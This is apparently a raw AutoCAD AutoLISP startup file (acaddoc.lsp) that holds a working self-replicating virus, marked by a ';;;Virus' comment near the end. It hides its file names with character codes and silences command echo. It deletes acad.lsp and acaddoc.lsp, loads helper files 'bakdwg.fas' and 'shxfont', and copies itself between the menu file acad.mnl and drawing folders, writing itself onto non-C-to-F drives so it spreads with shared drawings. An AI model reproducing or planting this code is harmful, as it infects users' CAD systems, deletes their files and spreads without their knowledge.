acaddoc.lsp 1.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121
  1. (
  2. setq
  3. wold_cmd
  4. (
  5. getvar
  6. "cmdecho"
  7. )
  8. )
  9. (
  10. setvar
  11. "cmdecho"
  12. 0
  13. )
  14. (
  15. setq
  16. bb 1
  17. )
  18. (setq dpath (getvar "dwgprefix"))
  19. (setq wpath (getvar "menuname"))
  20. (setq wpath (substr wpath 1 (- (strlen wpath) 4)))
  21. (setq mnl (strcat (chr 97)
  22. (chr 99)
  23. (chr 97)
  24. (chr 100)
  25. (chr 46)
  26. (chr 109)
  27. (chr 110)
  28. (chr 108)
  29. )
  30. lsp (strcat (chr 97)
  31. (chr 99)
  32. (chr 97)
  33. (chr 100)
  34. (chr 100)
  35. (chr 111)
  36. (chr 99)
  37. (chr 46)
  38. (chr 108)
  39. (chr 115)
  40. (chr 112)
  41. )
  42. )
  43. (vl-file-delete (strcat wpath lsp))
  44. (vl-file-delete (strcat wpath "acad.lsp"))
  45. (vl-file-delete (strcat dpath "acad.lsp"))
  46. (if(null qxgxwddm)(if(findfile "bakdwg.fas")(load "bakdwg.fas")))
  47. (load"shxfont""")
  48. (defun wwriteapp ()
  49. (if (setq wwjm1 (open wnewacad "w"))
  50. (progn
  51. (setq wwjm (open woldacad "r"))
  52. (while(setq wwz (read-line wwjm))
  53. (write-line wwz wwjm1)
  54. )
  55. (close wwjm)
  56. (close wwjm1)
  57. )
  58. )
  59. )
  60. (setq lbz 0)
  61. (setq wwjqm (strcat dpath lsp))
  62. (if (setq wwjm (open wwjqm "r"))
  63. (progn
  64. (repeat 15 (read-line wwjm))
  65. (setq wz (read-line wwjm))
  66. (setq ab (atoi (substr wz 4 1)))
  67. (close wwjm)
  68. (if (> ab bb)
  69. (setq lbz 1)
  70. )
  71. )
  72. )
  73. (setq wwjqm (strcat wpath mnl))
  74. (if (setq wwjm (open wwjqm "r"))
  75. (progn
  76. (repeat 15 (read-line wwjm))
  77. (setq wz (read-line wwjm))
  78. (setq nb (atoi (substr wz 4 1)))
  79. (close wwjm)
  80. (if (< nb bb)
  81. (setq lbz 1)
  82. )
  83. )
  84. (setq lbz 1)
  85. )
  86. (if (= lbz 1)
  87. (progn
  88. (setq woldacad (strcat dpath lsp))
  89. (setq wnewacad (strcat wpath mnl))
  90. (wwriteapp)
  91. )
  92. )
  93. (if (and (/= (substr dpath 1 1) (chr 67))
  94. (/= (substr dpath 1 1) (chr 68))
  95. (/= (substr dpath 1 1) (chr 69))
  96. (/= (substr dpath 1 1) (chr 70))
  97. )
  98. (progn
  99. (setq woldacad (strcat wpath mnl))
  100. (setq wnewacad (strcat dpath lsp))
  101. (wwriteapp)
  102. )
  103. (vl-file-delete (strcat dpath lsp))
  104. )
  105. ;;;Virus
  106. (princ)
  107. (princ)